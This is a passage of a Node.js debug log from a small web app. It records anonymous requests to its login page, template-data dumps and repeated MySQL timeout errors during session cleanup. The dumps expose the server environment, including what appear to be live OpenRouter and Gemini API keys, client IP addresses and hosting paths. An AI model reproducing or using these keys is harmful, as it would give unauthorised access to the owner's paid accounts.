    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '45.92.85.182',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-09T20:34:55.484Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '45.92.85.182',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '45.92.85.182',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-08T21:25:08.790Z server-connect:router Serving templateView /
2026-04-08T21:25:08.791Z server-connect:app Executing action step identify
2026-04-08T21:25:08.791Z server-connect:app options: { provider: 'security' }
2026-04-08T21:25:08.791Z server-connect:auth No login cookie found
2026-04-08T21:25:08.791Z server-connect:output identity: false
2026-04-08T21:25:08.791Z server-connect:app Executing action step restrict
2026-04-08T21:25:08.791Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-08T21:25:08.792Z server-connect:output restrict: undefined
2026-04-08T21:25:08.969Z server-connect:router Serving templateView /login
2026-04-08T21:25:08.969Z server-connect:app Executing action step identify
2026-04-08T21:25:08.969Z server-connect:app options: { provider: 'security' }
2026-04-08T21:25:08.969Z server-connect:auth No login cookie found
2026-04-08T21:25:08.969Z server-connect:output identity: false
2026-04-08T21:25:08.969Z server-connect:router Render template layouts/authentication
2026-04-08T21:25:08.969Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '45.92.87.133',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-09T21:25:08.968Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '45.92.87.133',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '45.92.87.133',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-08 22:11:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-08 22:11:13' as DATETIME)"
}
2026-04-09T04:04:39.581Z server-connect:router Serving templateView /
2026-04-09T04:04:39.582Z server-connect:app Executing action step identify
2026-04-09T04:04:39.583Z server-connect:app options: { provider: 'security' }
2026-04-09T04:04:39.583Z server-connect:auth No login cookie found
2026-04-09T04:04:39.583Z server-connect:output identity: false
2026-04-09T04:04:39.583Z server-connect:app Executing action step restrict
2026-04-09T04:04:39.583Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-09T04:04:39.583Z server-connect:output restrict: undefined
2026-04-09T04:04:39.685Z server-connect:router Serving templateView /login
2026-04-09T04:04:39.685Z server-connect:app Executing action step identify
2026-04-09T04:04:39.685Z server-connect:app options: { provider: 'security' }
2026-04-09T04:04:39.686Z server-connect:auth No login cookie found
2026-04-09T04:04:39.686Z server-connect:output identity: false
2026-04-09T04:04:39.686Z server-connect:router Render template layouts/authentication
2026-04-09T04:04:39.686Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '184.72.173.149',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-10T04:04:39.685Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '184.72.173.149',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '184.72.173.149',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-09T06:52:44.174Z server-connect:router Serving templateView /
2026-04-09T06:52:44.176Z server-connect:app Executing action step identify
2026-04-09T06:52:44.176Z server-connect:app options: { provider: 'security' }
2026-04-09T06:52:44.176Z server-connect:auth No login cookie found
2026-04-09T06:52:44.176Z server-connect:output identity: false
2026-04-09T06:52:44.176Z server-connect:app Executing action step restrict
2026-04-09T06:52:44.176Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-09T06:52:44.177Z server-connect:output restrict: undefined
2026-04-09T06:52:45.646Z server-connect:router Serving templateView /login
2026-04-09T06:52:45.647Z server-connect:app Executing action step identify
2026-04-09T06:52:45.647Z server-connect:app options: { provider: 'security' }
2026-04-09T06:52:45.647Z server-connect:auth No login cookie found
2026-04-09T06:52:45.647Z server-connect:output identity: false
2026-04-09T06:52:45.647Z server-connect:router Render template layouts/authentication
2026-04-09T06:52:45.647Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'upgrade-insecure-requests': '1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    priority: 'u=0, i',
    'x-forwarded-for': '142.93.46.83',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-10T06:52:45.646Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '142.93.46.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '142.93.46.83',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-09T08:19:15.146Z server-connect:router Serving templateView /
2026-04-09T08:19:15.146Z server-connect:app Executing action step identify
2026-04-09T08:19:15.146Z server-connect:app options: { provider: 'security' }
2026-04-09T08:19:15.146Z server-connect:auth No login cookie found
2026-04-09T08:19:15.146Z server-connect:output identity: false
2026-04-09T08:19:15.146Z server-connect:app Executing action step restrict
2026-04-09T08:19:15.146Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-09T08:19:15.147Z server-connect:output restrict: undefined
2026-04-09T08:19:17.432Z server-connect:router Serving templateView /login
2026-04-09T08:19:17.432Z server-connect:app Executing action step identify
2026-04-09T08:19:17.432Z server-connect:app options: { provider: 'security' }
2026-04-09T08:19:17.432Z server-connect:auth No login cookie found
2026-04-09T08:19:17.432Z server-connect:output identity: false
2026-04-09T08:19:17.432Z server-connect:router Render template layouts/authentication
2026-04-09T08:19:17.432Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '134.209.194.134',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-10T08:19:17.431Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '134.209.194.134',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '134.209.194.134',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-09 13:58:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-09 13:58:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-09 14:24:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-09 14:24:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-09 14:38:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-09 14:38:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-09 16:23:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-09 16:23:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-09 19:40:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
